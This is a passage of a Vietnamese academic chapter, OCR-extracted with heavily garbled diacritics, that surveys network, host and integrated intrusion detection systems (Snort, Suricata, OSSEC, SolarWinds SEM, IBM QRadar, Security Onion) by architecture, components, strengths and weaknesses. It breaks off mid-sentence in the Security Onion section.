Chuong ndy cung cip mot cai nhin tong quan vé xam nhap va phat hién xam nhap.

Qua d6 biét dugc muc dich va tac hai cia tin cdng xam nhap va gidi thiéu cac hé


https://en.wikipedia.org/wiki/Artificial_intelligence
https://en.wikipedia.org/wiki/Artificial_intelligence
https://en.wikipedia.org/wiki/Data_mining
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théng phat hién xam nhap phan tich cac dau hiéu cua sy x&m nhap hoiac mdi de doa
sap xay ra dén céc chinh sach an toan may tinh, hoic cac chuan an toan.
Tir d6 c6 phan loai cac hé théng phat hién xam nhap theo kiéu pham vi giam sat

va theo cé4c kiéu trien khai ki thuat thyc hién.
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CHUONG Il. CAC HE THONG PHAT HIEN XAM NHAP

Trong chwong ndy sé cho ching ta cai nhin téng quan vé 1DS bao gom cd nhing
diém manh va diém yéu cua ching. Ching ta sé d@é cdp dén ca Network IDS va cd
Host IDS. Su khac nhau cha yéu giira NIDS va HIDS dé la dir liéu ma n6 tim kiém.
Bén canh dé chwong nay ciing tim hiéu mét sé hé thang phéat hién xam nhdp tiéu biéu
nhw: Snort, Suricata, OSSEC, SolarWinds Security Event Manager, IBM Qradar, Security
Onion.

2.1. C&c hé thong phat hién xam nhap mang

Céac hé théng phat hién xAm nhap mang sé& theo ddi luu lugng va phan tich
cac goi tin truyén trong mang cta hé thong. Snort va Suricata 13 hai hé thong
phat hién xAm nhap mang c6 cac thanh phan va tinh ning noi bat.

2.1.1. Snort

2.1.1.1.  Snortlagi?

Snort 1a mot hé théng ma ngudn mé phat hién va ngian chin xam nhap mang mién
phi. N6 str dung ngén ngir dua trén quy tic, thuc hién phan tich giao thuc, tim kiém
két hop ndi dung va co thé duoc st dung dé phat hién nhiéu loai tin cong va tham do
khéc nhau, ching han nhu buffer overflows, stealth port scans, CGI attacks, SMB
probes, OS fingerprinting attempts ...

Snort dugc ng dung véi 3 chirc nang chinh 1a: thu thap goi tin, theo ddi goi tin
va st dung nhu mot NIDS. Ngoai ra con ¢6 nhiéu chuong trinh thém vao dé cung cap
nhitng cach khac nhau nham muyc dich ghi diu va quan Iy logfile cia Snort, thém va
bao tri tap luat, thong bao cho ngudi quan tri hé thong khi c6 nhiing traffic gay hai
dugc nhan ra... Thong thuong Snort chi str dung TCP/IP nhung nhitng phan thém
vao c6 thé mé rong kha nang cung cap céc loai ngdn ngir khac .[7]

2.1.1.2.  Thanh phan va chitc ning

Snort ¢6 5 thanh phan chinh nhu sau:

- B6 giai ma gai tin - Packet Decoder

Céc goi dir liéu di vao qua cac cong giao tiép mang, cac cong giao tiép nay co thé

la: Ethernet, SLIP, PPP... Va dugc giai ma bai b giai ma gai tin (packet decoder),
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trong d6 xac dinh giao thirc dugc sir dung cho géi tin va dix liéu phu hop véi hanh vi
dugc cho phép cua phan giao thic cua ching. Packet Decoder c6 thé tao ra cac canh
bao riéng ciia minh dua trén phan header caa giao thirc, cac goi tin qué dai, bat thuong
hoac khdng chinh xac cac tly chon TCP dugc thiét 1ap trong phan header. Sau khi dix

licu duoc giai ma ding, ching s& duoc gui dén bo phan tién xir Iy (preprocessor).

/ Snort \

Sniffing

Packet Decode Engine

Preprocessor Plug-ins

Data Flow

Detection Engine

Output Plug-ins v

Alerts/Logs

Hinh 2.1:Mé td so dé ciia Snort

- Céc bo tién xur Iy — PreProcessers

Céc bo tién xur 1y (Preprocessor) 1a nhitng thanh phan hoic plug-in ¢6 thé sir dung
cho Snort dé sip xép, chinh sira cac goi dit liéu trude khi bo phan Detection Engine
lam viéc vdi ching. Mot ) Preprocessor cling thuc hién phat hi¢n déu hiéu di thuong
bang cach tim trong phan tiéu dé ctia goi tin va tao ra cic canh bao. Preprocessor con
dung dé tai hop goi tin cho cac goi tin c6 kich thudc 16n. Ngoai ra nd con gidi ma cac
gbi tin da dugc ma hoa trude khi chuyén dén bo phan Detection Engine.

- May phat hién - Detection Engine
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Detection Engine Ia bo phan quan trong nhat cta Snort. Trach nhiém cta no 1a
phat hién bat ki ddu hiéu tin cong nao ton tai trong géi tin bang cach str dung céc rule
dé ddi chiéu véi thong tin trong gbi tin. Detection Engine c6 thé phan chia goi tin va
ap dung rule cho cic phan khac nhau cta géi tin.

- Hé thdng canh bao va nhat ky - Logging and Alerting System
Khi bd phan detection engine phat hién ra cac dau hiéu tAn cong thi né s& thong bao
cho bd phan canh bao va nhat ky( Logging and Alerting System). Cac ghi nhan, thong
bao co thé duoc luu dudi dang van ban hodac mdt s6 dinh dang khac. Mac dinh thi
ching duoc luu tai thu muc /var/log/snort.

- Mbdun xuét - Output Modules

B6 phan dau ra cta Snort phu thudc vao viéc ta ghi cac ghi nhan, thong bao theo
cach thire nao. C6 thé ciu hinh bd phan nay dé thuc hién cac chirc nang sau:

- Luu cac ghi nhan va thong bao theo dinh dang file van ban hoac co s¢ dir ligu.

- Gui théng tin SNMP.,

- Giri cac thong diép dén hé thdng ghi log.

- Luu cac ghi nhan va thong bao vao co s¢ dir liéu (MySQL, Oracle...).

- Chinh sira cu hinh trén Router, Firewall.

Snort ¢6 4 ché do hoat dong nhu sau:

- Ché @6 danh gié goi tin - Sniffer mode: & ché do nay Snort s& danh gia va doc
cac goi tin trén mang sau do6 sé trinh bay két qua trén giao dién hién thi.

- Ché d6 luu nhat ky goi tin - Packet Logger mode: luu trit cac gai tin trong cac
tap tin log.

- Ché @6 phat hién xam nhap mang - Network instruction detect system (NIDS):
day 1a ché a6 hoat dong manh mé va dugc 4p dung nhiéu nhat, khi hoat dong ¢ ché
d6 NIDS Snort s& phan tich cac goi tin luan chuyén trén mang va so sanh véi cac
thong tin dugc dinh nghia ciia ngudi dung dé tir d6 ¢6 nhitng hanh dong twong Gng.

- Ché do noi tuyén - Inline mode: khi trién khai Snort trén Linux thi chdng ta c6
thé cau hinh Snort dé phan tich céc goi tin tir cac bang IP (iptables) thay vi thu vién

anh chup goi (libpcap) do do iptable c6 thé thong qua cac gai tin theo luat Snort.
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2.1.1.3.  Uu nhwoc diém cia Snort
a. Uudiém

- Snort 12 phdn mém ma ngudn ma, hoat dong 24/7 theo thoi gian that.

- Chay trén nhiéu nén tang khac nhau: Khong chi chay trén cac hé diéu hanh ngudn
mé nhu GNU/Linux ma Snort con c6 thé chay duoc trén cic nén tang thuong mai
nhu Microsoft Windows, Solaris, HP-UX...

- Céc luat cua Snort thuong xuyén dugc bd sung va cap nhat cac hinh thirc xAm
nhap mai.

- C6 kha ning phat hién mot sd luong 16n cac kiéu thim do, xAm nhap khac nhau
nhu: buffer oveflow, CGI-Atack, Scan, ICMP, Virus...

- C6 mot cong ddng cuia ngudi sir dung va cac nha phat trién.

- C6 rat nhiéu add-on ma khong phai 1 thanh phan cta Snort, nhung cung cip
thém cac tinh ning va dé sir dung.

- Snort khéng can phai thay thé bat ky co s& ha tang an ninh hién co.

b. Nhuogc diém

- C6 thé xay ra trudng hop bao dong gia, tirc 1a khong c6 dau hiéu bat thuong ma
IDS van bao (False Positive).

- Khong phan tich dugc cac luu luong dugec ma hoéa nhu SSH, IPSec, SSL, v.v...

- NIDS doi hoi phai luén dugc cap nhat cac du hiéu tin cong moi nhét dé thuc
su hoat dong hiéu qua.

- Khong thé cho biét viéc mang bi tin cong c6 thanh céng hay khong.

- M6t trong nhitng han ché 1a giéi han bang thong. Nhiing bo thu thap dit liéu phai
thu thap tat ca luu lugng mang, sap xép lai va phan tich chung. Khi toc do mang ting
1€n thi kha nang ctia bg thu thap thong tin cling vay. Mot gidi phap 1a phai dam bao
cho mang duoc thiét ké chinh x4c.

2.1.2. Suricata

2.1.2.1. Suricata la gi?

Suricata 1a mot hé thong phat hién xam nhap dya trén ma ngudén ma. N6 duoc

phat trién bai Open Information Security Foundation (OISF). Cong cu nay duoc phat
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trién khéng nham canh tranh hay thay thé cac cong cu hién c6, nhung né mang lai
nhitng ¥ tudng va cdng nghé maéi trong linh vuc an ninh mang.

Suricata la cdng cu IDS/IPS (Intrusion Detection System / Intrusion Prevention
System) phéat hién va ngan chan xam nhap duya trén luat dé theo dai luu lwong mang
va cung cap canh bao dén nguoi quan tri hé thong khi o sy kién dang ngo xay ra. N6
duoc thiét ké dé tuong thich véi cac thanh phan an ninh mang hién c6. Ban phat hanh
dau tién chay trén nén tang linux 2.6 c6 hd trg noi tuyén (inline) va cau hinh giam sat
lru luong thu dong c6 kha ning xt Iy luu luong 1én dén gigabit. Suricata la cong cu
IDS/IPS mién phi trong khi n6 van cung cap nhiing lua chon kha ning mo rong cho
c4c kién trdc an ninh mang phiic tap nhat.

La mot cdng cu da ludng, Suricata cung cép ting toc do va hiéu qua trong viéc
phan tich luu lugng mang. Ngoai viéc ting hiéu qua phan cang (véi phan cing va
card mang gigi han), cong cu nay duoc xay dung dé tan dung kha ning xt ly cao
dugc cung cap boi chip CPU da 16i méi nhat.

2.1.2.2.  Thanh phan va chitc nang ciia Suricata

Suricata dugc phat trién dira trén Snort nén né van giit nguyén kién tric bén trong
ctia Snort. Kién truc ciia né c6 nhiu thanh phan, v6i mdi thanh phan c6 mét chirc
nang riéng.

Kién trac cua Suricata gdbm 4 phan co ban sau:

a. DPanh gia va giai ma goi tin - The Sniffer (Packet Decoder)

Packet Sniffer 1a mot thiét bi phan ctng hodc phan mém duoc dit vao trong mang.
Boi trong md hinh mang c6 nhiéu giao thirc cao cap nhu TCP, UDP, ICMP... nén
cong viéc cua packet sniffer 14 phan tich cac giao thurc thanh thong tin ma con ngudi
c6 thé doc va hiéu dugc. Packet Sniffer ¢ thé dugc sir dung véi cac muc dich nhu:

- Phéan tich mang va troubleshooting.

- Performance network and bechmarking.

- Nghe 1én mat khau clear-text va nhiing dit liéu khac.

b. Phan tich di li¢u - The Preprocessors
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Preprocessors la plug-in cho phép phan tich ca phap di liéu theo nhitng cach khac
nhau. Néu chay Suricata ma khong co bat cir ciu hinh nao vé preprocessors trong tap
tin cAu hinh s& chi thiy ting goi dit liéu riéng ré trén mang. Vi nhiéu loai hinh tin
cong hién dai ¢ tinh phan manh dit lidu hodc c6 tinh dat phan doc hai 1én mot goi tin
va phan con lai 1én géi tin khac (kj7 thudt lan trén).

Dir liéu s€ dugc dua vao Preprocessors sau khi di qua bd giai ma goi tin (packet
decoder). Suricata cung cap mot loat cac Preprocessors vi du nhu: Frag3 (mdt module
chéng phdn manh géi tin IP), sfPortscan (module dwoc thiét ké chong lai cdc cudc
trinh sat, nhu scan port, xac dinh dich vu, scan OS), Stream5 (module tdai gop cac goi
tin ¢ tang TCP).[6]

C. May phat hién - The Detection Engine

Dau vao 1a cac goi tin dd dugc sip xép & qua trinh preprocessors. Detection engine
12 mot phan cua hé thdng phat hién xam nhap dya trén dau hiéu. Detection engine s&
liy dir liéu tir preprocessors va kiém tra chung thong qua cac luat. Néu cac luat do
khop voi dit lidu trong goi tin, nd s& duoc giri toi hé thdng canh béo.

Céc luat co thé duge chia thanh 2 phﬁn:
Phan Hearder: gém cac hanh dong (log/ alert), loai giao thirc (TCP, UDP,
ICMP...), dia chi IP ngudn, dia chi IP dich va port.
Phéan Options: 13 phan ndi dung ctia goi tin dugc tao ra dé phu hop voi lut.
Luat 1a phan quan trong ma bt ctr ai tim hiéu vé Suricata can phai nim rd.
d. Xuat két qua - The Output gdm hai modules:

Modul Alert/ Logging

Cudi cung sau khi cac luat da phi hop véi dit liéu, chiing s& dugc chuyén téi thanh
phan canh bao va ghi lai (alert and loggin component). Co ché log s& luu trir cac goi
tin da kich hoat, cac lut con co ché canh bao sé thong bao céac phan tich bi that bai.
Gidng nhu Preprocessors, chiic niang ndy dugc cau hinh trong tap tin suricata.yaml.

Modul két xuat thong tin

Dir liéu 1a gia tri canh bdo, nhung c6 thé chon nhiéu cach dé gui cac canh bao nay

cling nhu chi dinh noi ghi lai cac goi tin. C6 thé giri canh bao thong qua SMB (Server
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Message Block) pop- up t6i may tram Windows, ghi chung duéi dang logfile, giri qua
mang thong qua UNIX socket hoac thong qua giao thitrc SNMP.

Canh béo ciing ¢6 thé luu trit dudi dang co so dir liéu SQL nhu MySQL hoic
PostgerSQL. Tham chi mot vai hé thdng cua cic hing thir ba c6 thé giri canh bao
thong qua SMS t61 dién thoai di dong.

(EQVD) SURICATA
traffic

Y
[ Packet Capture J

Y
[ Packet Decoding ]

| Iy |
Y
— [ Detelction ]\ A/ \A

\ J [ Detection 1 ] [ Detection 2 ]

[ Output ] \L 4/

Hinh 2.2:M56 td so do Suricata.

2.1.2.3.  Uu nhuogc diém cua Suricata
a. Uu diém

- Dé dang cAu hinh: Suricata 1am viéc nhu thé no, tap tin cau hinh & déu, cac luat
nhu thé nao nguoi quan tri déu coé thé biét va cu hinh theo y minh dugc.

- Suricata 1a phan mém m3 ngudn md: Sricata dugc phat hanh dudi gidy phép
GNU/GPL diéu nay c6 nghia 1 bat cir ai ciing c6 thé sir dung Suricata mot cach mién
phi du d6 14 doanh nghiép hay nguoi ding c nhan. Ngoai ra vi 13 phan mém ma
ngudn mo nén Suricata ¢ mot cong dong ngudi st dung 10n.

- Chay trén nhiéu nén tang khac nhau: Chay trén cac hé diéu hanh nguén mé nhu

Linux, CentOS. Debian, Fedora, FreeBSD, Window, Mac OS X...
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- Luat cua Suricata thuong xuyén dugc cap nhat: Cac luat cua Suricata thuong

xuyén dugc b sung va cap nhat cac hinh thirc xAm nhap méi.
b. Nhuoc diém

- Viéc kiém tra noi dung caa moi g6i mang la cuc ky ton CPU, dic biét 1a d6i véi
tai luu lwong nhiéu gigabit. Va day thuong 1a yéu té han ché trong hiéu suat Suricata:
xu ly goi tin trén CPU.

2.2. C4c hé théng phat hién xam nhap host

Céc hé thng phat hién xAm nhap host s& theo ddi luu lugng va phan tich log trén
c4c client dugc lién két dén hé théng. OSSEC va Suricata 1a hai hé thong phat hién
xam nhap host tiéu biéu.

2.2.1. OSSEC

2.2.1.1. OSSEC la gi?

OSSEC la phan mém ma nguén mé gidp phat hién xdm nhap dwa trén host (HIDS)
. OSSEC dura trén log ma nguén md, mién phi, da nén tang cd thé mé rong va co
nhiéu co ché bao mat khac nhau. OSSEC c6 thé phét hién xam nhap bang ca chi ky
hodc dau hiéu bat thudng. Cac dau hiéu binh thuong va bat thuong dugc mé ta trong
bo luat cia OSSEC. OSSEC c6 mot cdng cu phan tich va twong quan manh mg, tich
hop gidm sat va phan tich log, kiém tra tinh toan ven cua file, kiém tra registry cua
Windows, thuc thi chinh sach tap trung, giam sat chinh sach, phat hién rootkit, canh
bao thai gian thuc va phan ang mot cach chu dong cudc tin cong dang dién ra. Céc
hanh dong nay ciing c6 thé dugc dinh nghia trudc bang luat trong OSSEC. Ngoai viéc
duoc trién khai nhu mot HIDS, nd thuong dugc sir dung nhu mot cdng cu phan tich
log, theo d6i va phan tich cac ban ghi lai, IDS, cac may chu Web va cac ban ghi xac
thuc. OSSEC chay trén hau hét cac hé diéu hanh, bao gém Linux, OpenBSD,
FreeBSD, Mac OS X, Sun Solaris va Microsoft Windows.[11]

2.2.1.2.  Thanh phan va chizc nang

Céc thanh phan va chiic nang cha yéu cia OSSEC 1a:

Log based Intrusion Detection (LIDs) and Log Monitoring:

- Chi1 ¢ong theo ddi va phan tich dit liéu real-time tir nhiéu ngudn sinh log.
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- Ngoai ra, Ossec s& thu thap, phan tich va kiém tra mdi twong quan céc log va
cho ta biét nhimg diéu dang ngd dang xay ra trong hé théng.

- Kiém soat c4c tng dung va hé thong nham tuan tha c&c yéu cau, tiéu chuan vé
bao mat nhu PCI-DSS va CIS.

T ———— “ e e e e e e = ——— ~\
i Manager ! ! Agent
] ! 1
1 1
i ( ossec i 18 OSSEC Agent )
] i
i Manager i [Logcollector][ Syscheckd ][ Rootcheck]
i OSSEC | | I :
E binaries ! T i
H . o H [
| 1 L i :{ Agentd ]
1

i Remoted E T
1 N . 1
i ! [ Execd ] i
i : i
i Analysisd \.,}_____________________________________{,'
Y e T T T I T ———
E Decode :r Agent E
1 e e e e e e i — — — — — — — — — — — — o e ’
1

Rules | J|§| (====—==m—=mmmmmmmmmommmmmmmmmmmmoooees
i uies ( Agent E
i 7~ n I‘ _________________________________________ !
i Alerts
1 . .
1\ i
Y J

Hinh 2.3:Minh hoa so @6 OSSEC.

Rootkit and Malware Detection:

Ossec phan tich & cip d6 file va tién trinh nham phat hién cac wng dung doc hai,
cac rootkit hay cac file hé thong bi sira doi theo cach pho bién véi rootkit

File Integrity Monitoring (FIM):

Phat hién cac thay do6i doi vai hé théng.

Active Response:

- Céc hanh vi ting phd lai cac cudc tan cong vao hé théng trong thoi gian thuc.

- Gitp ngan su ¢6 lan rong trudc khi admin cé thé hanh dong

System Inventory:

- Thu thap cac thong tin hé théng nhu phan mém dugc cai dat, harware, ...
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- Ossec thuong hoat dong theo mé hinh Server-Agent/Agentless cd thé cai trén
cac moi truong OS sau:

+ Manager (Server) 1a noi luu trit co s& dit liéu caa viéc kiém tra tinh toan ven
file .Quan 1y, luu tat ca cac rule, decoder (bo giai ma), cau hinh chinh.

+ Agent 1a 1 phan mém dugc cai dit trén may client gidp thu thap cac thong
tin va giri cho Server dé phan tich, théng ké. Agent cung cip mot sé thong tin duoc
thu thap theo thoi gian thuc.

+ Agentless 1a cac hé théng khong cai duoc gdi Ossec-agent. Trén céc
Agentless nay c6 thé thuc hién viéc kiém tra tinh toan ven, giip monitor firewall,
router hay tham chi ca hé thng Unix.

+ Ao héa/ VMware - Ossec cho phép cai dit agent trén cac guest OS (May
40). Ossec ciing giam sat viéc login, logouts va cac 16i bén trong ESX Server. Ngoai
ra n6 ciing canh bao néu bat ky tly chon cdu hinh khong an toan nao duoc bat.

+ Firewalls, switches and routers 12 thiét bi twong ty nhu cac Agentless, Ossec
c6 thé nhan va phan tich nhat ky hé thong tir nhiéu firewall, switch, router.

2.2.1.3.  Uu nhugc diém ciua Ossec
a. Uu diém
- Ossec hd tro cai dit da nén tang (Linux, Mac OS, Window, Solaris).
- Chtrc ning Canh bao thai gian thuc ( Real-time Alert ) két hop véi smtp, sms,
syslog s& cho phép nguoi dung nhan canh béo trén céc thiét bi c6 hd tro email.
- Ngoai ra tinh ning Active-respone cd thé gilp block cudc tan céng ngay lap tic.
- C6 thé tich hop vai cac hé théng hién dai (SIM/SEM)
- M6 hinh Server — Agent/Agentless, cho phép Server dé dang quan ly tap trung
cac chinh sach trén nhiéu OS.
- Ossec hd tro giam sat trén ca agent, agentless (Client khéng cai dét diwoc goi
agent) nhu céc thiét bi router, firewall.
b. Nhugc diém
- Kha ning nang cap cta Ossec kha phirc tap va tuong ddi khé khan. Cac quy tac

cii s& bi x6a hoac bj quy tic mdi ghi dé sau khi nang cap hé thong.



27

2.2.2. SolarWinds Security Event Manager

2.2.2.1.  SolarWinds Security Event Manager la gi?

SolarWinds® Security Event Manager (SEM) 1a mot phan mém giai phap giam
sat phat hién xam nhép host duoc phay trién bai cong ty SolarWinds Inc. SolarWinds
SEM thu thap dit liéu nhat ky trong hé thdng mang tir hai tai nguyén: Thiét bi Agents
- 1a mét tng dung phan mém thu thap va chuan héa di liéu nhat ky trude khi né dugc
giri dén Trinh quan ly SEM va céc thiét bi Non Agent - nhiing thiét bi giri dir liu
nhat ky truc tiép dén Trinh quan Iy SEM dé chuan hda va xi ly.

Sau khi chuan hoéa, Trinh quan ly SEM xt ly dit liéu roi so sanh twong quan di
licu dua trén céc quy tic do nguoi dung xac dinh va bd loc canh bao cuc bo, dong
thoi bit dau cac hanh dong lién quan khi cé thé. [8]

2.2.2.2.  Thanh phan va chirc nang

Mot cai dit SEM hoan chinh bao gdm céc thanh phan sau:

- Trinh quan ly SEM (hoac SEM VM), thu thap va xtr ly thong tin nhat ky va su
kién. Thanh phan nay duoc cai dat dau tién.

- Phan mém may tinh dé ban hoic tng dung web cho phép xem thong tin SEM tur
may tinh dé ban hoic may tinh xéch tay.

Trinh quan Iy SEM la trang diéu khién tong quat cuia mot thiét bi dua trén Linux.
Trinh quan ly SEM thu thap va xir ly théng tin nhat ky va sy kién. N6 bao gém céc
hé thong nhan Linux dugc tly bién lai két hop véi cac va dich vu méay chu Syslog va
may thu bdy SNMP. Dit liéu thong tin duoc nén va téi wu hoa cho tim kiém tai may
chu web théng qua cac co ché so sanh tuong quan

SEM chap nhan dau vao cua thiét bi bang giao thirc TCP va UDP. SEM Agent
duoc cai dat trén may tram, may chu va céc thiét bi mang khac. N6 thu thap va chuan
hoa dir liéu nhat ky trong thoi gian thuc nhu Nhat ky su kién Windows, nhiéu loai
nhat ky co so dix liéu va nhat ky cuc bo trén mdi thiét bi va truyén dix liéu d6 qua TCP
tgi Trinh quan ly SEM. Nhat ky hé théng truyén thong diép qua TCP téi Trinh quan
ly SEM. TCP duoc wu tién hon UDP vi TCP dam bao cac thong diép dén duoc nguyén

ven.
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Hinh 2.4:Minh hoa so do SolarWinds Security Event Manager.

Bang 1 liét k& mot sb tai nguyén mang cung cap cho Trinh quan Iy SEM.

Bang 1: Tai nguyén cho trinh quan ly SEM
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Dt lieu SEM Agent
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SEM truc tuyén dé biét chi tiét.
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2.2.2.3.  Uu nhuoc diém cua SolarWinds Security Event Manager
a. Uu diém

- M6t trong nhiing tinh ning dang gia nhat cia SolarWinds SEM la cho phép thu
thap nhat ky tir hau hét moi ngudn dit liéu, st dung nhiéu loai x4c thuc va thu thap va
kha nang chuan hoa nhat ky tir cac hé thong khac nhau thanh mét dinh dang chung.

- S0 voi cé4c hé thdng khac, SolarWinds SEM tuong dbi d& dang dé thiét 1ap chay
va str dung, céc thiét bi 4o ciing rat dé bao tri.

- SolarWinds SEM cho phép tlly chinh trang tong quan mdi ngudi dung dé c6 thé
nhanh chéng tim thay thong tin lién quan dén vi tri caa minh.

b. Nhuge diém

- Mic du thiét Iap ban dau kha don gian, nhung cac tiy chinh ddi bao céo dé dinh
cau hinh chinh xac cac canh béo thich hop lai twong dbi phuc tap.

- Tinh ning canh b&o qua email vai SolarWinds s& giri mot s6 lwong 16n email
canh béo trung lap.

2.3. C4c hé théng phat hién xam nhap tich hop

2.3.1. IBM Qradar

2.3.1.1. IBM Qradar la gi?

IBM QRadar 1a dong san pham dugc cung cap bai hé diéu hanh bao mat théng
minh doc quyén caa IBM - SIOS. Danh sach san pham bao gém Trinh quan ly 15
hong QRadar (QRadar Vulnerability Manager) dé quét mang va phat hién 15 héng,
C6 van QRadar vai Watson (QRadar Advisor with Watson), Phén tich hanh vi nguoi
dung QRadar (QRadar User Behavior Analysis), Trinh quan ly rui ro QRadar
(QRadar Risk Manager), Quan ly su kién va bao mat thong tin Qradar (QRadar
SIEM), va nhiéu hon thé nira. T4t ca cac san pham nay hoat dong trén mot nén tang
chung dam bao viéc dé dang tich hop, kha ning mé rong, ciing nhu don gian bang
cach cung cap nhiéu chic ning va san pham trong trai nghiém ngudi ding tong
thé. Bang cach hop nhat cac su kién nhat ky va di liéu ludng mang tir thiét bi, diém

cudi va ung dung dugc phan phdi trén toan mang, QRadar thu thap tat ca cac théng
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tin khac nhau nay va tong hop cac sy kién lién quan thanh cac canh béo duy nhat dé
tang tdc d6 phan tich va khic phuc sy ¢4.[5]

2.3.1.2.  Thanh phan va chitc nang

Céc thanh phan kién trlc cua giai phap dugc md ta dudi day:

Bang diéu khién QRadar - QRadar Console 1a mét phan trung tdm cua giai phap
cung cap giao dién nguoi dung, thdng tin tai san, trang tong quan, bao cdo, xam nhap
cling nhu cac chirc ning quan tri. N6 hoat dong nhu mot co so dit liéu tong thé voi
cac ban sao tlly chon dwoc trién khai trén Bo xu Iy sy kién (EP) dé sao luu va khoi
phuc ty dong. Bang diéu khién nhan dir liéu tir EP di qua B6 loc tran dé dam bao ring
ludng dix liéu dén dap ung cac quy tic. Cac su kién tiép theo da duoc danh ddu dé
diéu tra thém hoic vi pham duoc tao ra s& duoc chuyén cho thanh phan danh gia
(Magistrate). Cac danh gia s€ dua twong quan cac su kién trén cac bo xur ly su kién
(Event Processor). Cac danh gia nay duoc chuyén thdng qua Ariel Proxy Server, mot
phan cua bang diéu khién, thu thap thong tin tir Ariel Query.

User interface
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—a "N Reports
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QRadar Console

Console

@

Offense management

Magistrate component

Offense storage

&

Event Processor
Event Processor component

Custom Rules Engine
Streaming
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I
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Hinh 2.5:Minh hoa so' @6 IBM Qradar.
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May chi Bo xir ly su kién EP s& quan Iy tat ca cac sy kién va ludng da kich hoat
viéc tao ra hanh vi pham toi. Cong cu phéat hién di thuong (ADE) ciing 1a mot phan
cua bang diéu khién, n6 tim kiém mé-dun tich liy trén Bo xur Iy su kién dé tim cac
diém bét thuong co thé xay ra. ADE st dung ba loai quy tac:

- Quy tic ngudng - kiém tra pham vi sé chang han nhu truyén dit liéu di 16n.

- Sy bt thuong - thay doi trong hanh vi so voi khung thoi gian dai hon, tic 13
hoat dong dich vu mai.

- Hanh vi - sy khac biét so vai cing mot thoi diém trong ngay hoic tuan trude do,
tirc 12 cac van dé vé quy trinh sao luu.

Cubi cung, May chu quan ly thong tin 15 hong bao mat chiu trach nhiém duy tri
tai san, co so dit liéu.

Bo xir ly su kién - Event Processor 1a noi chira cdng cu cho ca xu ly su kién va
ludng. EP xt ly cac su kién duoc thu thap tir Trinh thu thap sy kién, Trinh thu thap
ludng hoic cac thanh phan xi 1y sy kién khac trong méi truong. Theo mic dinh, dit
liéu duoc Iuu trir khong dugc mé hoa. Khi nhap di liéu, b loc tran thyc thi ty 1€ EPS
va FPM, tuong tu nhu bang diéu khién.. Mdi bo xur Iy su kién trong méi trudng st
dung Bo tich liiy dé tich liy cac sy kién mdi phut, gio hodc ngay.

Bo thu thap su kién - Event Collector duoc sir dung dé lién tuc thu thap céc su
kién va chuan héa tir cac ngudn dir liéu tir xa va cuc bo va chuyén tiép ching dén bo
xt ly sy kién. EC thyc hién ty dong phét hién nguén véi md-dun Phan tich luu lugng.
M6-dun h tro thiét bi ciing c6 thé duoc trién khai trong EP va Bang diéu khién.

B6 thu thap ludng - Flow Collector hay QFlow nham muyc tiéu cac luong mang dé
thu thap. Bo phan nay hd tro NetFlow, jFlow va sFlow ngoai hop ciing nhu c¢6 thé thu
thap dix liéu truc tiép tir giao dién mang. Bo thu thap ludng st dung mo-dun Phat hién
ting dung, md-dun nay khép cac luong véi 16p tng dung dua trén mot s cach tiép
can:

- Do nguoi dung xac dinh - Nguoi ding c6 thé chén cac dinh nghia cu thé dé xéac

dinh tinh va khép quy trinh véi tng dung.
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- B6 giai ma dwa trén trang thai - xac dinh ang dung bang cach phan tich tai trong
va hanh vi ludng.

- So sanh chir ky - so sanh chudi trong tai trong, hé tro ca chix ky tuy chinh

- So sanh dua trén cong - tic 1a cong 443 duoc xac dinh 1A HTTPS.

C6 hai thanh phan tly chon khac trong kién tric SIEM: NGt dir liéu QRadar
(QRadar Data Node) va May chu tng dung QRadar (QRadar App Host). Nut dir liéu
cung cap kha nang luu trir va xir Iy cho viéc trién khai QRadar. May chua tng dung l1a
may chu duoc quan ly chuyén dung cung cip tai nguyén CPU va bo nhé dé chay cac
ung dung.

IBM Security App Exchange 12 mot nén tang c6 san cac tién ich mé rong va cac
g dung bo sung, chang han nhu cac gbi ndi dung dé &nh xa céc hanh vi vi pham
vao khung MITTRE ATT & CK.

QRadar Phan tich hanh vi nguoi dung (QRadar User Behaviour Analytics UBA)
la mot ing dung riéng biét phan tich di liéu hanh vi so sanh no6 vai hoat dong co s&
thong thuong ciing nhu cac hanh dong ngang hang, kich hoat hanh vi pham t6i va tao
ra diém s rui ro cho cac ca nhan. Theo mic dinh, chi ¢é ba quy tic dugc bat: Truy
cap trai phép, Str dung tai khoan khéng hop 1€, Phét hién sir dung tai khoan méi, vai
nhiéu quy tic khéac c6 san.

2.3.1.3.  Uu nhuoc diém cua IBM Qradar

a. Uu diém

- Giai phap cua IBM hd tro cac tly chon trién khai Tinh kha dung cao (Hight
Availability-HA) cho ca thiét bj vat 1y va thiét bi 40 v6i phuong phap tiép can may
chu chinh va phu duoc két hop thanh mot cum, trong d6 médy chii phu ¢ trang thai
cho va trong truong hop may chu chinh bi 16i s& dam nhan chirc ning trién khai.

- IBM QRadar c6 kha nang luu trit nhidu ngudi thué trong mot lan trién khai. Mién
duogc tao cho mdi ngudi thué lién két cac nguon dir liéu vai ching va cach ly moi
truong cua ngudi thué vai nhau.

- IBM cung cap tai liéu dic biét cho ting khia canh caa san pham, day 1a mot lgi

thé 16n dé hiéu giai phap, trién khai va quan tri no.
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b. Nhugc diém

- P6i v&i nguoi sir dung, QRadar c6 kién triic hoi phirc tap khién viéc quan ly tat
ca cac bo phan trong cau trac twong dbi khé khan.

- C4c yéu cau cau hinh may dap ung ddi véi hé thdng 1a kha cao.

2.3.2. Security Onion

Doug Burks bat dau xay ding Security Onion dwa trén mot du 4n mé va mién phi
vao nam 2008 dé cung cap mot nén tang toan dién dé phat hién xam nhap, giam sat
an ninh mang va quan ly nhat ky. Vao nam 2014, Security Onion Solutions, LLC
chinh thire duoc thanh 1ap. Security Onion duoc phan phdi va duy tri boi Security
Onion Solutions, LLC.[10]

2.3.2.1.  Security Onion la gi?

Security Onion 1a mot ban phan phdi Linux mién phi va mo dé tim kiém méi de
doa, giam sat an ninh doanh nghiép va quan Iy nhat ky. N6 bao gom TheHive ,
Playbook va Sigma, Fleet va osquery , CyberChef , Elasticsearch , Logstash , Kibana
, Suricata , Zeek , Wazuh va nhiéu cdng cu bao mat khac. Cac chuong trinh nay tén
tai va duoc phat trién nhu cac giai phap hoat dong doc lap. Nhung vi muc dich chuyén
biét cao, khong phai tit ca cac ban phan phédi Linux déu duoc tich hop nhiing cong
cu trén. VA, viéc cai dat tit ca cong cu tir nhidu ma ngudn khac nhau kha kho khan.
Security Onion di giai quyét vin dé nay rat hiéu qua va thanh céng. Security Onion
c6 cong cu dé cung cap cho van dé bao mat hé thbng mang va may chua. Security
